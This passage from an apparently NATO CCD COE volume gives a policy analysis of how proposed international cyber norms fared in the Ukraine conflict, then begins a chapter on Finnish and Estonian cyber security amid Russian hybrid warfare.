As a result, most of these cyber operations have not yet risen to the level of activities proscribed or even governed by the Law of Armed Conflict.
That would be different when cyber would be more integrated in kinetic warfare operations.
Cyber operations are often conducted by non-state actors, whose status and affil- iation are not always clear.
135 The Ukraine Crisis as a Test for Proposed Cyber Norms Henry Rigas NATO CCD COE 1 Introduction In international forums, governments, academia, and the private sector have stren- uously argued that states must agree on existing or develop a set of international norms for conflict in cyberspace.
Our current environment is characterised by a steep rise in the development of offensive cyber tools and tactics  as well as a gen- eral disagreement on when and where it is appropriate to use them.
The overall result is a popular perception of a weakened international security environment that threatens to devolve into an anarchic Hobbesian world of all against all.
Against this backdrop, there have been urgent calls for greater investment in cyber diplomacy.1 The term norm has become some- what of a buzzword in these discussions used to argue that states should adhere to certain rules of behaviour with regard to conducting cyber operations.
This chapter will thus first describe the nature of cyber norms and then discuss the primary developments in the global arena.
The authors focus will be on the proposed cyber norms of behaviour that would have a politically binding character, and will avoid discussing existing international law 1 See, for example, developments in the United Nations: http://www.un.org/disarmament/topics/informationsecurity/, and The Council of the European Unions conclusions on cyber diplomacy: http://data.consilium.europa.eu/doc/document/ST-6122- 2015-INIT/en/pdf.
Chapter 15 The term norm has become somewhat of a buzzword.
http://www.un.org/disarmament/topics/informationsecurity/ 136 (legal norms)2 as well as the challenges of practical implementation of the these norms.
Finally, this chapter will analyse the Ukraine crisis in light of these propos- als, and attempt to assess their rationality and applicability.
The Russo-Ukrainian conflict, in theory, offers a suitable case study in that there has been ample room for malicious state-sponsored cyber activities: first, nation-states perceived as having considerable cyber capabilities  not only Russia and Ukraine, but also surrounding nations and the member states of NATO  are involved, at least indi- rectly and second, the crisis has both endured and evolved from the Euromaidan street protests to the Russian annexation of Crimea to open, armed conflict in eastern Ukraine.
2 Proposed Political Cyber Norms In international relations, norms are often defined as collective expectations of proper behaviour for an actor with a given identity,3 which is broad enough that states (and other stakeholders) use the term to put forward a wide range of propos- als in diplomatic forums.
This chapter takes a simplified approach, limiting its scope to (1) legal and (2) political norms: the proper behaviour of states is comprehen- sively regulated by international law (i.e.
legal norms such as treaties, international customs, and general principles of inter- national law)4 and through cyber diplo- macy in the form of political or non-legally binding agreements.
The United Nations Group of Governmental Experts (UN GGE) has explained the nature of these politically binding instruments by stating that norms reflect the international communitys expectations, set standards for responsible State behaviour and allow the international community to assess the activities and intentions of States.
The problem, of course, is that breaches of such political norms only give rise to political, non-legal consequences.5 There has been some agreement between nation states on setting international cyber norms.
In 2013, the UN published an accord, written by a GGE including representatives from the US, UK, China, and Russia, expressing consensus on the 2 For a discussion on the role of legal cyber norms, see Michael N. Schmitt and Liis Vihul.
The Nature of International Law Cyber Norms, Tallinn Papers, no.
6 (2014), https://ccdcoe.org/sites/default/files/multimedia/pdf/Tallinn20Paper20No20 20520Schmitt20and20Vihul.pdf.
3 See Martha Finnemore and Kathryn Sikkink.
International Norm Dynamics and Political Change, International Organization 52, no.
4 (October 1, 1998): 887917.
4 See sources of international law listed in the Statute of the International Court of Justice (ICJ), Article 38.
5 Some have also used the terms hard and soft law in this context, see Dinah Shelton.
Normative Hierarchy in International Law, The American Journal of International Law 100, no.
2 (April 1, 2006): 291323.
For a concept listing policy responses to cyber incidents, see Tobias Feakin.
Developing a Proportionate Response to a Cyber Incident Council on Foreign Relations, August 2015, http://www.cfr.org/cybersecurity/developing-proportionate-response-cyber-incident/p36927.
Norms reflect the interna- tional communitys expec- tations, set standards for responsible State behaviour.
137 basic notion that existing international law applies to cyberspace.
6 In 2015, the same forum published another report7 which delved into greater detail, but the GGE has previously not elaborated on precisely how to apply existing laws (legal norms) to the nuanced field of cyber security.
The reports did state, however, that the unique attributes of information and communications technology (ICTs) could demand the creation of altogether new norms.
The fairly general agreement expressed in the reports can be viewed both as the lowest common denominator between the worlds key cyber powers and as a manifestation of a general lack of clarity in this new geopolitical arena.
Meanwhile academia has to some degree filled the void, actively addressing the applicabil- ity of existing international law,8 although work in the area of state practice and interpretation has been relatively limited.
In the context of norms restraining state behaviour, existing international law such as the prohibition on the use of force and the law of armed conflict (LOAC) are highly relevant and indispensable, but it is likely that additional norms  political rather than legal  will be developed by the international community over time.
Two somewhat opposing approaches to these new political norms will be addressed below.
One group of nations acting as norm entrepreneurs9 seems to aim for a trea- ty-level agreement to govern state activities in cyberspace.
Member nations of the Shanghai Cooperation Organisation (SCO)10 have proposed a Code of Conduct for International Information Security11 to the UN.
In parallel, Russia has developed (in 2011) a separate concept for a Convention on International Information Security12 which covers, to a large extent, the same territory.
These proposed instruments do not apply the prefix cyber when addressing ICT-related issues instead, the focus is on preserving information security which represents a broad conceptualisation of the threat environment and the scope of limited state activities.13 According to SCOs own agreement on information secu- rity (the Yekaterinburg Agreement of 2009)14 and the aforementioned Convention proposal by Russia (2011), information war entails, in addition to damaging infor- mation systems and critical infrastructures (which is often the Western scope of 6 United Nations, General Assembly, Group of Governmental Experts on Developments in the Field of Information and Tele- communications in the Context of International Security, A/69/723, 2013, http://www.un.org/ga/search/view_doc.asp?symbol- A/68/98.
7 United Nations, General Assembly, Group of Governmental Experts on Developments in the Field of Information and Tele- communications in the Context of International Security, A/70/174, 2015, http://daccess-dds-ny.un.org/doc/UNDOC/GEN/ N15/228/35/PDF/N1522835.pdf?OpenElement.
8 See the Tallinn Manual process: https://ccdcoe.org/research.html.
9 See Finnemore and Sikkink.
International Norm Dynamics and Political Change, October 1, 1998.
10 Member States of the SCO are China, Kazakhstan, Kyrgyzstan, Russia, Tajikistan, and Uzbekistan.
11 United Nations, General Assembly, Letter Dated 9 January 2015 from the Permanent Representatives of China, Kazakhstan, Kyr- gyzstan, the Russian Federation, Tajikistan and Uzbekistan to the United Nations Addressed to the Secretary-General, A/69/723, 2015, https://ccdcoe.org/sites/default/files/documents/UN-150113-CodeOfConduct.pdf.
12 The Ministry of Foreign Affairs of the Russian Federation.
Convention on International Information Security (Concept), 2011, http://www.mid.ru/bdomp/ns-osndoc.nsf/1e5f0de28fe77fdcc32575d900298676/7b17ead7244e2064c3257925003bcbc- cOpenDocument.
13 See, for example, James A. Lewis.
Liberty, Equality, Connectivity: Transatlantic Cybersecurity Norms, Strategic Technologies Program (Center For Strategic and International Studies, 2014), 6.
14 Annex 1of SCO, Agreement between the Governments of the Member States of the Shanghai Cooperation Organisation on Coop- eration in the Field of International Information Security.
https://ccdcoe.org/research.html 138 actions when the term cyber security is used), also psychologic brainwashing to destabilise society and state, signalling that for them the threat also stems from con- tent and information itself.15 The Code of Conduct puts a strong emphasis on the principle of information sovereignty,16 arguing that states should not use ICTs and information and com- munication networks to interfere in the internal affairs of other states or with the aim of undermining their political, economic and social stability.
It asks states to refrain from activities which run counter to the task of maintaining interna- tional peace and security and highlights a states responsibility to protect infor- mation space and critical information infrastructure against damage resulting from threats, interference, attack and sabotage.
Further, it includes a section that prohibits states from using dominant position in ICTs to engage in the afore- mentioned activities.
In terms of international cooperation, the Code seeks to curb the dis- semination of information that incites terror- ism, separatism or extremism.
These documents demonstrate the ambi- tion of the SCO members to see an eventual treaty-level agreement.
However, if the Code of Conduct would actually be adopted in the current form, it could not be con- sidered as a source of international law (a legal instrument) since the norms are of a politically binding character due their aspirational and non-compulsory nature.17 The Code of Conduct has not been put to a vote as adoption at the UN is highly unlikely due to opposition from many liberal democracies.
An alternative strategy, promoted initially by the US, is to strengthen international cyber security through voluntary norms of behaviour that pertain during peacetime.18 According to this logic, most cyber operations fall below the use of force threshold, which means that most of the existing legal norms regulating interstate cyber operations are not suffi- cient.19 During the height of the cyber inci- dents in Ukraine, the US promoted the fol- 15 See, for example, Keir Giles.
Russias Public Stance on Cyberspace Issues, in 2012 4th International Conference on Cyber Con- flict, ed.
Christian Czosseck, Rain Ottis, and Katharina Ziolkowski (NATO CCD COE Publication, 2012), http://www.ccdcoe.
org/publications/2012proceedings/2_1_Giles_RussiasPublicStanceOnCyberInformationWarfare.pdf.
16 See the Chinese viewpoint in Lu Wei.
Cyber Sovereignty Must Rule Global Internet, The Huffington Post, December 15, 2014, http://www.huffingtonpost.com/lu-wei/china-cyber-sovereignty_b_6324060.html.
17 Schmitt and Vihul.
The Nature of International Law Cyber Norms, 4.
18 States supporting this view strongly emphasise the applicability of existing international law and see that these norms should be voluntary measures of self-restraint during peacetime, see Christopher M. E. Painter.
Testimony of Christopher M. E. Paint- er, Coordinator for Cyber Issues, U.S. Department of State Before the Senate Foreign Relations Committee Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy Hearing Titled: Cybersecurity: Setting the Rules for Responsible Global Behaviour, 2015, http://www.foreign.senate.gov/imo/media/doc/051415_Painter_Testimony.pdf.
19 Ibid.,
89.
Also, see Tallinn Manual 2.0 process focusing on international law applicable to cyber operations that do not mount to an use of force or do not take place during armed conflict, https://ccdcoe.org/research.html .
Documents demon- strate the ambition of SCO members to see a treaty-level agreement.
An alternative strategy is to strengthen inter- national cyber security through voluntary norms.
139 lowing four norms of which the first three were included in the recent UN GGE report:20 (1) states should not conduct or knowingly support online activity that damages or impairs critical infrastructure (norm 1) (2) states should not conduct or knowingly support activity intended to prevent the national Computer Security Incidents Response Teams (CSIRTs or CERTs) from responding to cyber incidents, nor use CSIRTs to do harm (norm 2) (3) states should cooperate with other states in investigating cybercrime by collecting electronic evidence and mitigating cyber activity emanat- ing from its territory (norm 3) and (4) states should not conduct or knowingly support cyber-enabled theft of commercially valuable intellectual property (norm 4).
Before we move on, it is important to note that these and other cyber norms have been analysed in academic circles21 as well as in the private sector.
For example, Microsoft has recommended six cybersecurity norms designed to limit the prolifer- ation of cyber weapons and offensive operations in cyberspace.22 3 Observations from Ukraine: Hints of State-sponsored Operations The attribution of cyber attacks is notoriously difficult.
In order to discover state-sponsored operations, one can only speculate based upon inconclusive indica- tors such as target, malware, motive, and complexity.
In Ukraine, some advanced cyber espionage tools such as Turla/Snake/Ouro- bours and Sandworm have not only been linked to the conflict, but also associated with an Advanced Persistent Threat (APT) actor (i.e.
nation-state), likely Russia.23 At the same time, analysts have argued that most of the cyber attack methods in Ukraine such as DDoS attacks and defacements have been technically unsophisti- cated.
Thus, on balance, the complexity criterion appears unmet.
20 Painter.
Testimony of Christopher M. E. Painter, Coordinator for Cyber Issues, U.S. Department of State Before the Senate Foreign Relations Committee Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy Hearing Titled: Cybersecu- rity: Setting the Rules for Responsible Global Behaviour.
21 For example, drawing parallels with state obligations during crises on the sea, a duty to assist victims of severe cyberattacks (an e-SOS) has been proposed by Duncan B. Hollis in An E-SOS for Cyberspace, Harvard International Law Journal 52, no.
2 (2011), http://papers.ssrn.com/sol3/papers.cfm?abstract_id1670330.
22 Angela McKay et al.,
International Cybersecurity Norms.
Reducing Conflict in an Internet-Dependent World (Microsoft, 2015), http://download.microsoft.com/download/7/6/0/7605D861-C57A-4E23-B823-568CFC36FD44/International_Cyber- security_20Norms.pdf.
23 See, for example, Suspected Russian Spyware Turla Targets Europe, United States, Reuters, March 7, 2014, http://www.reuters.
com/article/2014/03/07/us-russia-cyberespionage-insight-idUSBREA260YI20140307 Zero Day Vulnerability CVE-2014- 4114 Used in Cyber-Espionage, iSIGHT Partners, October 21, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/.
140 Actions attributed to hacktivist groups also raise questions regarding possible coordination with state enti- ties.
For example, Ukrainian officials reported that, even when the hacktivist group CyberBerkut failed to compro- mise Ukraines online election system and only managed to present fake election results on the elections website for a very brief period, a Russian state-owned TV channel still displayed these results immediately.24 In another incident, CyberBerkut allegedly leaked the recording of a phone call between Estonian Minster of For- eign Affairs Urmas Paet and European Union (EU) High Representative for Foreign Affairs and Security Policy Catherine Ashton, suggesting that Cyber Berkut either possesses sophisticated cyber capabilities or has links to Russian intelligence ser- vices.25 Here, we must remember SCOs focus on information security, as opposed to cyber security, and in fact many analysts believe that both Russia26 and Ukraine27 are conducting information operations within the context of the ongoing conflict in eastern Ukraine.
The internet is a natural terrain for these operations28 the reported troll factories in St. Petersburg creating pro-Russian comments for online new media serve as prominent examples.29 4 Which Norms of Behaviour Were Followed?
Thus, there are two dominant ongoing conversations relative to the creation of political cyber norms: (1) the information security norms proposed by the SCO, and (2) the voluntary norms of behaviour in peacetime (initially promoted by the US).
This section will analyse the known cyber incidents in Ukraine in the context of these two normative frameworks.
24 Mark Clayton.
Ukraine Election Narrowly Avoided Wanton Destruction from Hackers, Christian Science Monitor, June 17, 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruc- tion-from-hackers-video.
25 Ewen MacAskill.
Ukraine Crisis: Bugged Call Reveals Conspiracy Theory about Kiev Snipers, The Guardian, March 5, 2014, http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet Trend Micro, Hacktiv- ist Group CyberBerkut Behind Attacks on German Official Websites, Security Intelligence Blog, http://blog.trendmicro.com/ trendlabs-security-intelligence/hacktivist-group-cyberberkut-behind-attacks-on-german-official-websites/.
26 NATO StratCom Centre of Excellence, Analysis of Russias Information Campaign Against Ukraine, October 15, 2014, http:// www.stratcomcoe.org/download/file/fid/1910.
27 Maksim Vikhrov.
Ukraine Forms Ministry of Truth to Regulate the Media, The Guardian, December 19, 2014, http://www.
theguardian.com/world/2014/dec/19/-sp-ukraine-new-ministry-truth-undermines-battle-for-democracy.
28 Maeve Shearlaw.
From Britain to Beijing: How Governments Manipulate the Internet, The Guardian, April 2, 2015, http:// www.theguardian.com/world/2015/apr/02/russia-troll-factory-kremlin-cyber-army-comparisons.
29 Dmitry Volchek and Daisy Sindelar.
One Professional Russian Troll Tells All, RadioFreeEurope/RadioLiberty, March 25, 2015, sec.
Russia, http://www.rferl.org/content/how-to-guide-russian-trolling-trolls/26919999.html Shearlaw.
From Britain to Bei- jing.
Actions attributed to hack- tivist groups raise questions regarding possible coordina- tion with state entities.
141 4.1 The Information Security Norms Proposed by the SCO In general, the state-sponsored conventional military operations in Ukraine are not in accordance with international norms30 therefore, it should come as no surprise that the reported cyber incidents also appear unorthodox.
However, one important question, given that Russia is directly involved in the Ukraine conflict, is how these cyber incidents fit into the Code of Conduct framework whose primary focus is informa- tion sovereignty.
In that regard, alleged Rus- sian cyber operations would appear inconsis- tent with the norms it has hitherto proposed or supported.
In fact, most of the cyber inci- dents reported by both sides in the conflict seem to fall into the category of information operations, which could be interpreted as violating another states information sovereignty.
In the words of the Code of Conduct, ICTs were likely used in an effort to interfere in the internal affairs of other States [] with the aim of undermining their political, economic and social stability.
Since the norms supported by SCO and Russia focus on information rather than strictly cyber security, one can see that the non-cyber information opera- tions via other media such as TV are also inconsistent with the stated principle of information sovereignty.
The Code of Conduct also prohibits the abuse of a dom- inant position in cyberspace in this regard too, Russia may have violated its own principles by abusing its control over Russian-owned social media networks such as Vkontakte and Odnoklassniki which are also popular among Ukrainian users.31 Analysing the application of the SCO-proposed information security norms reveals an inherent weakness: quantifying the influence of highly subjective infor- mation content or identifying a breach of information sovereignty is problematic, if not impossible.
4.2 The Voluntary Norms of Behaviour in Peacetime The voluntary, politically binding norms advocated by the US (and partly recom- mended by the UN GGE) are intended to apply in peacetime.
Nonetheless  and however one classifies the Ukraine conflict from a legal perspective32  we can still speculate relative to their application during a time of conflict.
In Ukraine, the most important observation so far is that no destructive cyber attacks on critical infrastructure (CI) have been reported by either side.
To some degree, this offers hope that the norm of limiting cyber attacks against CI could 30 See collection of legal arguments related to the use of force in the Ukraine conflict, Debate Map: Ukraine Use of Force, ac- cessed August 17, 2015, http://opil.ouplaw.com/page/ukraine-use-of-force-debate-map.
31 Margarita Jaitner and Peter A. Mattsson.
Russian Information Warfare of 2014, in 2015 7th International Conference on Cyber Conflict, ed.
Markus Maybaum, Anna-Maria Osula, and Lauri Lindstrm (NATO CCD COE Publication, 2015), 3952 Vkon- takte Founder Flees Russia, Claims Persecution, The Moscow Times, April 22, 2014, http://www.themoscowtimes.com/news/ article/vkontakte-founder-flees-russia-claims-persecution/498715.html.
32 See Chapter 14 by Jan Stinissen.
Alleged Russian cyber operations appear incon- sistent with the norms it has hitherto proposed.
142 evolve into a standard of behaviour.33 A possible exception is the alleged sabo- tage of the Ukrainian election system, but even here, one might disagree over whether this was a simple information operation or a serious attack against CI.34 The pertinent question here may relate to the proper definition of CI.
Historically, there have been some significant network intrusions,35 but relatively few examples of effective cyber attacks against CI.36 The few cases that are pre- sented as destructive state-sponsored attacks  Stuxnet being the best-documented example37  can still be seen as outliers.
With that in mind, even well-established norms are mere collective expectations of proper behaviour38, and it is unrealistic to assume that every actor (especially a nation at war) would always abide by them.
Assuming there have been no attacks against CI in Ukraine, can we say that this is another example of cyber powers restraining themselves?39 First, this restraint may be strongly influenced by case-specific factors, as explained by Martin Libicki in Chapter 12.
Second, one can identify more universal reasons stemming from classi- cal realpolitik calculus of state actors.
Is it possible that cyber does not give nation- states a revolutionary way to damage CI (or otherwise harm the citizens of an adversary state) for strategic gain?40 Or does the case of Ukraine show that cyber operations are now universally employed, but less effective than feared?41 In other words, the tactical opportunities that cyber is often seen as providing  the infinite reach, low cost of entry, and plausible deni- ability  may not easily translate to the strategic level.42 This is also apparent as there 33 Limiting attacks against CI was also covered in the aforementioned SCOs Code of Conduct.
34 Clayton.
Ukraine Election Narrowly Avoided Wanton Destruction from Hackers (video).
35 See, for example, Trend Micro and Organization of American States.
Report on Cybersecurity and Critical Infrastructure in the Americas, 2015, http://www.trendmicro.com/us/security-intelligence/research-and-analysis/critical-infrastructures-se- curity/index.html?cm_mmcVURL:www.trendmicro.com-_-VURL-_-/oas/index.html-_-vanity Jack Cloherty et al.,
Trojan Horse Bug Lurking in Vital US Computers, ABC News, November 7, 2014, http://abcnews.go.com/US/trojan-horse-bug- lurking-vital-us-computers-2011/story?id26737476 Havex Malware Strikes Industrial Sector via Watering Hole Attacks, SC Magazine, June 25, 2014, http://www.scmagazine.com/havex-malware-strikes-industrial-sector-via-watering-hole-attacks/ article/357875/.
36 Thomas Rid.
Cyber War Will Not Take Place (Oxford  New York: Oxford University Press, 2013) Brandon Valeriano and Ryan C. Maness.
Cyber War versus Cyber Realities: Cyber Conflict in the International System (Oxford  New York: Oxford University Press, 2015).
37 David E. Sanger.
Obama Ordered Wave of Cyberattacks Against Iran, The New York Times, June 1, 2012, http://www.nytimes.
com/2012/06/01/world/middleeast/obama-ordered-wave-of-cyberattacks-against-iran.html.
38 Finnemore and Sikkink.
International Norm Dynamics and Political Change, October 1, 1998.
39 Valeriano and Maness.
Cyber War versus Cyber Realities Rid, Cyber War Will Not Take Place.
40 For a collection of authors challenging the cyber threat perception, see The Cyberskeptics, Cato Institute, http://www.cato.
org/research/cyberskeptics.
41 Rid.
Cyber War Will Not Take Place Valeriano and Maness.
Cyber War versus Cyber Realities.
42 See similar remarks made by Jason Healey at Atlantic Councils panel on Waging Cyber Conflict, https://www.youtube.com/ watch?vaTKk4CSC9EM.
This offers hope that the norm of limiting cyber attacks against CI could evolve into a standard of behaviour.
Is it possible that cyber does not give nation-states a rev- olutionary way to damage CI for strategic gain?
143 is still no shortage of cyber sceptics,43 even if the vexing attribution problem were hypothetically to go away.44 The Ukraine case study, at least, suggests that cyber has not yet changed the game in terms of state vs. state cyber attacks that destroy physical infrastructure.
More likely, it can be understood as one additional weapon in a states arsenal, and that existing norms  both legal and political  governing traditional state-to-state actions are still followed as if they were applying to other, more conventional attack methods.
As of October 2015, the examples of cyber incidents in the Ukraine crisis allow us to make tentative observations about the other proposed norms of behaviours (2, 3, and 4).
In respect of norm number 2, there have been no reported allegations of interference with the work of the national CERTs.
However, although some per- sonal communications may have continued, there have been few official CERT to CERT discussions since the conflict began.45 Against number 3, there have been no published reports of recent Russo-Ukrainian cybercrime investigations,46 but that may be too much to hope for given that the two countries are currently in open conflict.
However, the fact that Russia is unwilling to accede to the Budapest Con- vention on Cybercrime does not stand in its favour.
The final norm, number 4, which asks states not to steal intellectual property via cyber means, is also likely not followed, given the two countries current state of hostilities and numerous reports of ongoing cyber espionage.
Adopting the norm concerning cyber espionage is in any case fraught with challenges, as its primary norm entrepreneur, the US, has been heavily criticised by both allies and adversar- ies in the wake of the Snowden revelations.
Further, it can be difficult  if not highly subjective  to determine whether any given attack was intended for political or economic gain.
On a global level, cyber espionage appears to be a silently accepted norm.
The latest UN GGE (2015), for example, did not mention it in its latest pub- lication, signalling that the international community is currently not motivated to address the topic, and its global curtailment, at least in the short term, is unlikely.
5 Conclusion The Ukraine case study suggests that, during this conflict, nation-states have not adhered to many of the proposed political cyber norms covered in this chapter.
Hence, it is doubtful that these rules will be globally accepted in the near future.
43 See, for example, note 40 on The Cyberskeptics, and discussion between Jarno Limnll and Thomas Rid.
Is Cyberwar Real?,
Foreign Affairs, March/April 2014, https://www.foreignaffairs.com/articles/global-commons/2014-02-12/cyberwar-real.
44 See, for example, Martin Libicki.
Would Deterrence in Cyberspace Work Even with Attribution?,
Georgetown Journal of Inter- national Affairs, April 22, 2015, http://journal.georgetown.edu/would-deterrence-in-cyberspace-work-even-with-attribution/.
45 Conversations with Ukrainian cyber security experts.
46 Brian Ries.
Gang of Cyber Criminals on the Run in Ukraine and Russia,Mashable, June 3, 2014, http://mashable.
com/2014/06/03/cyber-criminals-russia-ukraine-gameover-zeus/ Tom Brewster.
Trouble with Russia, Trouble with the Law: Inside Europes Digital Crime Unit The Guardian, April 15, 2014, http://www.theguardian.com/technology/2014/apr/15/eu- ropean-cyber-crime-unit-russia.
First, the known cyber operations appear contrary to the letter and spirit of the Code of Conduct as most of the incidents can be seen as part of the larger infor- mation war.
Second, most of the norms advocated by the US were also breached as cyber espionage was widely reported, and international cooperation between the two nations CERTs and law enforcement agencies has been absent.
As a positive sign for international security, there have been no reports of destruc- tive cyber attacks against CI in Ukraine.
This appears to go against what one could expect to see in a modern military conflict.
Is this a sign that the norm of not using cyber to harm CI  as also recently advocated by the UN GGE  is likely to be glob- ally accepted and followed in the future?
Hopefully, as this potential norm is perhaps the most important in terms of strengthening international cyber security and sta- bility.
As of October 2015, the Ukraine conflict appears to indicate that cyber opera- tions have not yet (contrary to popular belief) substan- tially challenged the exist- ing norms governing state behaviour in conflict situa- tions.
Cyber operations have not yet (contrary to popular belief) substantially chal- lenged the existing norms governing state behaviour in conflict situations.
145 Northern European Cyber Security in Light of the Ukraine War Jarno Limnll Aalto University 1 Introduction The Ukraine war is a game changer in the international security environment, and its ramifications in Northern Europe are profound.
Numerous countries in the region feel that their national security is directly threatened, especially those bordering Rus- sia.
New NATO members Estonia, Latvia, Lithuania, and Poland are seeking concrete forms of reassurance from Washington and Brussels, while non-members like Swe- den and Finland have reinforced their ties with the NATO Alliance.
The Nordic and Baltic countries have sought a closer partnership during the Ukraine war, and this has created an opportunity to advance their regional cyber security dialogue.
Received wisdom states that small countries, especially those located next to a big country, are most at risk when international security breaks down, and that big states do what they want while small states do what they must.
During the war in Ukraine, northern European countries have been forced to re-evaluate their rela- tionship with NATO as well as their preparedness against Russias hybrid warfare which blends conventional and unconventional operations, regular and irregular tactics, information warfare, and cyber warfare.
Cyber threats in particular have been an integral part of these ongoing discussions, as northern European countries have been subjected to various forms of cyber attack during the Ukraine war.
This chapter concentrates on two of Russias neighbours that have always been in the realist camp in term of their national security policy: Finland and Esto- Chapter 16 146 nia.
The response of each nation to the Ukraine crisis has been different, reflecting their traditional approaches to foreign and security policy as well as their existing ties to NATO.
Yet these two nations have much in common: a fundamental inter- est in regional stability, Western unity, a norms-based view of international order, interdependence, and an essential need for cooperation in the field of foreign and security policy.
These same principles drive both nations prevailing views on both information security and cyber security  two issues which are sometimes distinct, and sometimes closely related.
2 Finland: Coming to Terms with Hybrid Warfare Is Finland really getting ready for war with Russia?
An American news channel posed this question in May 2015, when nearly a million Finnish military reservists received letters detailing their assigned duties in a crisis situation.1 In fact, the cor- respondence was unrelated to Russias annexation of Crimea or its ongoing war in Ukraine, but the media attention that this event generated speaks volumes about the age-old nature of the Russo-Finnish relationship.
Historically, Finlands national security strategy has almost exclusively been focused on Russia, and Finns have been following the war in Ukraine extremely closely.
From the beginning, Finland has condemned Russias activities in its largest European neighbour.
Finnish President Sauli Niinist summarised the current situ- ation well: We have a long history with Russia  not that peaceful all the time.
So everything the Russians are doing, surely the Finns notice and think very carefully about what that might mean.2 Defence Minister Carl Haglund was more direct in his choice of words: Russia says one thing but does another.
I do not trust Russia at all.3 The concept of cyber is rather new in the Finnish language.4 It was institution- alised in 2013, when Finland published its National Cyber Security Strategy, which described cyber security as the desired end state in which the cyber domain is reli- able and in which its functioning is ensured.5 Public discussion of the importance of cyber security is a natural outgrowth of Finland being one of the most advanced information societies in the world, a country that relies heavily on the proper func- tioning of myriad electronic networks and services.
For years, there has been an active societal debate in Finland on topics such as public-private partnerships in cyberspace, the need for better legislation, the development of cyber defence capa- bilities within the Finnish Defence Forces, and much more.
1 Holly Ellyatt.
Is Finland really getting ready for war with Russia?CNBC, May 25, 2015.
2 Griff Witte.
Finland feeling vulnerable amid Russian provocations, The Washington Post, November 23, 2014, 6.
3 Gerard ODwyer.
Finland Brushes Off Russian Overtunes, DefenseNews, February 15, 2015, http://www.defensenews.com/ story/defense/international/2015/02/15/finland-russia-border-relationship/23301883/.
4 Jarno Limnll.
Kyber rantautui Suomeen, Aalto University Publication Series 12/2014, Helsinki 2014.
Concepts like informa- tion security or computer security have been used for decades in the Finnish language.
5 Secretariat of the Security Committee, Finlands Cyber Security Strategy, Government Resolution 24.1.2013, 1.
147 In Finland, there has been intense analytical focus on Russias traditional warfare capabilities (including in Ukraine), but there has been limited discussion regarding Russias cyber activities.
Finnish analysts have noticed Russian cyber espi- onage in Ukraine, Distributed Denial-of-Service (DDoS) attacks against Ukraine, and the disruption by pro-Russian hackers of Ukrainian media and telecommunica- tions networks.6 However, most Finnish cyber experts have been surprised that cyber attacks have not played a greater role in the conflict, and frankly, we expected to see more.
According to our analysis, the primary reason for this is likely that Ukraine is simply not a very cyber-dependent country therefore, Russia could better fulfil its national security agenda by other means, as cyber attacks may not have the desired effect.
As a consequence, it has not been necessary for Russia to use its more strategic cyber capabilities.
In Finland, one change has been a deeper appreciation of the seriousness of cyber espionage, and this is partly due to Russias cyber activity in Ukraine.
For the first time, Finland has accused Russia of carrying out intelligence activities  both physical and cyber  within its territory.
In the past, Finnish Security Police reports had only vaguely mentioned that some foreign countries had engaged in espionage against Finland.
Cyber threats from Russia have been viewed in Finland primarily in the con- text of hybrid warfare, which is understood in Finland to be a more intelligent or efficient way to wage war because it seeks to achieve political goals without the extensive use of traditional violence.
Using a range of tools such as cyber attacks, economic pressure, information operations, and limited physical attacks to gener- ate uncertainty in the mind of the general population, an aggressor may be able to achieve its desired political goals.
In Finland, it is understood that modern Russian warfare puts great emphasis on cyber and electronic warfare.
In particular, Russian activities in Ukraine have spurred Finland to strengthen its military and societal defences.
The new Finn- ish Government programme puts it this way: The Government will strengthen the comprehensive concept of security nationally, in the EU and in international cooperation.
This applies, in particular, to new and large-scale threats, such as the defence against hybrid attacks, cyber attacks and terrorism.7 From a Nordic perspective, one of the most alarming aspects of the Ukraine crisis has been Russian attempts to wage information warfare to influence public opinion.
Finnish media  and even ordinary Finns  have discussed this dynamic in detail.
Even the Finnish Prime Minister has openly stated that there is an ongoing 6 Jarno Limnll.
Ukraine crisis proves cyber conflict is a reality of modern warfare, The Telegraph, April 19, 2014, http://www.
telegraph.co.uk/technology/internet-security/10770275/Ukraine-crisis-proves-cyber-conflict-is-a-reality-of-modern-war- fare.html.
7 Prime Ministers Office, Strategic Programme of Prime Minister Juha Sipils Government, Government Publications 12/2015, May 29, 2015, 38.
It has not been necessary for Russia to use its more strategic cyber capabilities.
148 information war in Ukraine.
Finns have noted pro-Russian trolling, or the aggres- sive use of online arguments and false information toeing the Kremlin line.
Such tactics increased significantly as the Ukraine crisis escalated.8 In the flood of Finnish, English and Russian troll mes- sages, the same phrases are constantly repeated: Russia and President Vladi- mir Putin are idolised and the military operations of Russia in Ukraine are jus- tified  or simply denied.
The Russian Embassy in Helsinki has active Facebook and Twitter accounts on Twitter, rus- sianembfinla has retweeted pro-Russia trolls and the (often anonymous) tweets of anti-Western voices, blocked Finnish journalists critical of Russia, distributed pho- tos of Ukrainian civilian casualties, and altered the messages of Finnish tweeters.
There are numerous vexing challenges.
For example, it is difficult to prepare countermeasures for an attack that is outsourced to hacker groups that lie outside normal state structures.
In Ukraine, these are theoretically separatist groups in Crimea and eastern Ukraine.
Cyberspace is the ideal place to wage anonymous  or at least plausibly deniable  operations.
For Finnish defence planning, the increased use of hybrid warfare does not mean forgetting more traditional military threats to our nation, but it does complicate matters  especially societal preparedness.
Cyber attacks are now an integral part of all conflicts and wars, and they are blurring the line between peace and war.
As Finlands President Niinist stated: With hybrid warfare, we are facing a substantial change in military operations.
The boundary between actual war and other exercise of power is becoming blurred.
Means of cyber war and information war are becoming increasingly important.
It is now possible to fight a war with- out actually being at war.
At the same time, conflict escalation is setting new speed records, as we saw for instance in the Crimea.
9 3 Estonia: Cyber Attacks and NATO Article 5 In 2007, Estonia became the first country in the world to be targeted by a coordi- nated international cyber attack which came in retaliation for Tallinns decision to relocate a World War II monument from the centre of Tallinn to a military cemetery 8 Finlands national public-broadcasting company YLE gathered a large amount of information on pro-Russia trolling.
Yle Kioski Investigated: This is How Pro-Russia Trolls Manipulate Finns Online  Check the List of Forums Favored by Propagan- dists, last modified June 24, 2015.
http://kioski.yle.fi/omat/troll-piece-2-english.
9 Speech by President of the Republic Sauli Niinist at the ambassador seminar, August 26, 2014.
http://www.presidentti.fi/ public/default.aspx?contentid311373nodeid44807contentlan2cultureen-US.
One of the most alarming aspects of the Ukraine crisis has been Russian attempts to wage information warfare to influence public opinion.
149 on the outskirts of the city.
